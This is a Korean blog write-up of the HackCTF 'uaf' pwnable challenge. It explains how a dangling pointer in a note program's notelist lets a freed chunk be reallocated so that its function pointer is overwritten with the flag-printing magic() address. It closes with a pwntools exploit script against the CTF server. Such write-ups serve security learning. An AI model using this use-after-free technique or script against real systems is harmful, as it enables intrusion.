문제 풀이 환경 : ubuntu 18.04 |
힙알못의 uaf 문제 풀이입니당 힙알못이라 푸는데 오래 걸렸음
주어진 파일은 문제파일 바이너리
Analysis
일단 실행
종현님이랑 엉덩이 공부를 할 수 있다.
느낌상, uaf를 이용해야하고 힙에 원하는 바이트만큼 쓸수도 있고 삭제도 되고 출력도 되는 것 같다.
솔직히 여기까지 개쉽겠다라고 생각했다. (사실 개쉬운 문제 맞다.)
암튼.. uaf라고 함은... use after free... free된 후 사용하는건데
malloc하고 free한 후, 방금 free된 바이트 수? 만큼 똑같이 malloc하면 똑같은 자리에 위치된다? 이거를 이용하는 것이다.
IDA
main에서 봐야할 것은 4가지 함수이다.
add_note
del_note
print_note
magic : magic은 그냥 flag 읽어주는 함수~ 최종적으로 이 함수가 실행되어야 한다.
- add_note
malloc(0x8)
malloc(사용자size)
add_note를 한번하면 malloc을 두번한다.
- del_note
free를 해준다.
함수포인터(print_note_content)보다 내가 입력한 size만큼 할당된 힙 영역을 먼저 free시켜준다.
여기서 문제가 free했는데도 notelist... 저기는 초기화를 안시켜주는게 문제다. (취약점)
free를 했음에도 notelist 저기에 포인터가 남아있어서 참조를 여전히 할 수 있다.
위 메모리 그림상... 0x804c160 자리에 magic 함수 주소가 있으면...? 어떻게 될까 흐흐흐
- print_note
처음에 add_note에서 malloc(0x8)해서 함수포인터(print_note_content) 저장한거 기억나는가?
print_note 함수에서는 그 함수포인터를 호출한다.
결론은 함수포인터에 magic주소를 넣어서 함수포인터를 호출하면 magic 함수가 호출될 것이다.
How to exploit
취약점 : free할 때 notelist 초기화를 안시켜줌 -> 참조를 여전히 할 수 있다.
이용해야할 것 : uaf는 동일한 사이즈를 free후 malloc하면 free된 자리에 먼저 할당이 된다.
색끼리 같은 메모리상의 위치 입니다.
1 malloc(8) -> 함포
2 malloc(1337) -> 유저
3 malloc(8) -> 함포
4 malloc(1337) -> 유저
모두 해제후 다시 할당
malloc(8) -> 유저
malloc(8) -> 함포
Let's exploit
from pwn import *
#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./uaf')
magic = e.symbols['magic']
p.sendlineafter(':', '1')
p.sendlineafter(':', '100')
p.sendlineafter(':', 'AAAAAAAA')
p.sendlineafter(':', '1')
p.sendlineafter(':', '100')
p.sendlineafter(':', 'a')
p.sendlineafter(':', '2')
p.sendlineafter(':', '0')
p.sendlineafter(':', '2')
p.sendlineafter(':', '1')
p.sendlineafter(':', '1')
p.sendlineafter(':', '8')
p.sendlineafter(':', p32(magic))
p.sendlineafter(':', '3')
p.sendlineafter(':', '0')
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Unexploitable #1 풀이 (64bit, sh) (0) | 2021.04.15 |
---|---|
[HackCTF : Pwnable] j0n9hyun's secret 풀이 (64bit, fd overwrite) (0) | 2021.04.15 |
[HackCTF : Pwnable] pwning풀이 (32bit, underflow) (0) | 2021.04.15 |
[HackCTF : Pwnable] gift 풀이 (32bit, ROP) (0) | 2021.04.10 |
[HackCTF : Pwnable] look at me 풀이 (32bit, mprotect) (0) | 2021.04.09 |